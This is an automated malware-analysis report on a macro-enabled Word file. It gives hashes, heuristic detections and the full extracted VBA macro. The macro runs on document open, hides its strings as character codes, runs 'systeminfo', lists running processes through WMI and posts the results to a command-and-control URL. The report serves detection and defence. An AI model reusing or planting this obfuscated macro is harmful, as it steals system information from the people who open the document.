Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 8be5c89326d3b83a…

MALICIOUS

Office (OOXML) / .DOCX

19.0 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-19
MD5: cd9ac314d72a34ce600a611ef841eb62 SHA-1: 2e179836cb3848963bae3669a9e3a9f9bb21b437 SHA-256: 8be5c89326d3b83a8ea96f82acb8bbc5165bfddb20de54a40575efbee722757d
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set wmi = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(115) & Chr(58) & Chr(46) & Chr(92) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3852 bytes
SHA-256: ca058a15ab9b75de58d806e44c373574c3aecdd6dd3f275015288bd6a961a48b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim wmi As Object
    Dim processes As Object
    Dim process As Variant
    Dim cmdOutput As String
    Dim http As Object
    Dim c2Server As String
    Dim postData As String
    Dim headers As String
    
    On Error GoTo ErrorHandler
    
    ' Initialize WScript.Shell to execute commands
    Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    
    ' Execute a command and capture the output
    cmdOutput = shell.Exec(Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(105) & Chr(110) & Chr(102) & Chr(111)).StdOut.ReadAll
    
    ' Initialize WMI to enumerate running processes
    Set wmi = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(115) & Chr(58) & Chr(46) & Chr(92) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50))
    Set processes = wmi.ExecQuery(Chr(83) & Chr(69) & Chr(76) & Chr(69) & Chr(67) & Chr(32) & Chr(42) & Chr(32) & Chr(70) & Chr(82) & Chr(79) & Chr(77) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) & Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115))
    
    ' Collect process names
    For Each process In processes
        cmdOutput = cmdOutput & vbCrLf & process.Name
    Next process
    
    ' Initialize HTTP object to send data to C2 server
    Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84))
    c2Server = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(50)
    postData = Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61) & cmdOutput
    headers = Chr(67) & Chr(111) & Chr(110) & Chr(116) & Chr(101) & Chr(110) & Chr(116) & Chr(45) & Chr(84) & Chr(121) & Chr(112) & Chr(101) & Chr(58) & Chr(32) & Chr(97) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(47) & Chr(120) & Chr(45) & Chr(119) & Chr(119) & Chr(119) & Chr(45) & Chr(102) & Chr(111) & Chr(114) & Chr(109) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(101) & Chr(110) & Chr(99) & Chr(111) & Chr(100)
    
    ' Send HTTP POST request
    http.Open Chr(80) & Chr(79) & Chr(83) & Chr(84), c2Server, False
    http.setRequestHeader Chr(67) & Chr(111) & Chr(110) & Chr(116) & Chr(101) & Chr(110) & Chr(116) & Chr(45) & Chr(84) & Chr(121) & Chr(112) & Chr(101), Chr(97) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(47) & Chr(120) & Chr(45) & Chr(119) & Chr(119) & Chr(119) & Chr(45) & Chr(102) & Chr(111) & Chr(114) & Chr(109) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(101) & Chr(110) & Chr(99) & Chr(111) & Chr(100)
    http.send postData
    
    ' Clean up
    Set shell = Nothing
    Set wmi = Nothing
    Set processes = Nothing
    Set http = Nothing
    
    Exit Sub
    
ErrorHandler:
    ' Handle errors without logging to a worksheet
    ' Since this is Word VBA, we cannot use Excel-specific objects
    ' You can add other error handling mechanisms here if needed
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: f2b50763229638111b4d9d9bf4436911ed34ad9747ae68e502f676917dc899ee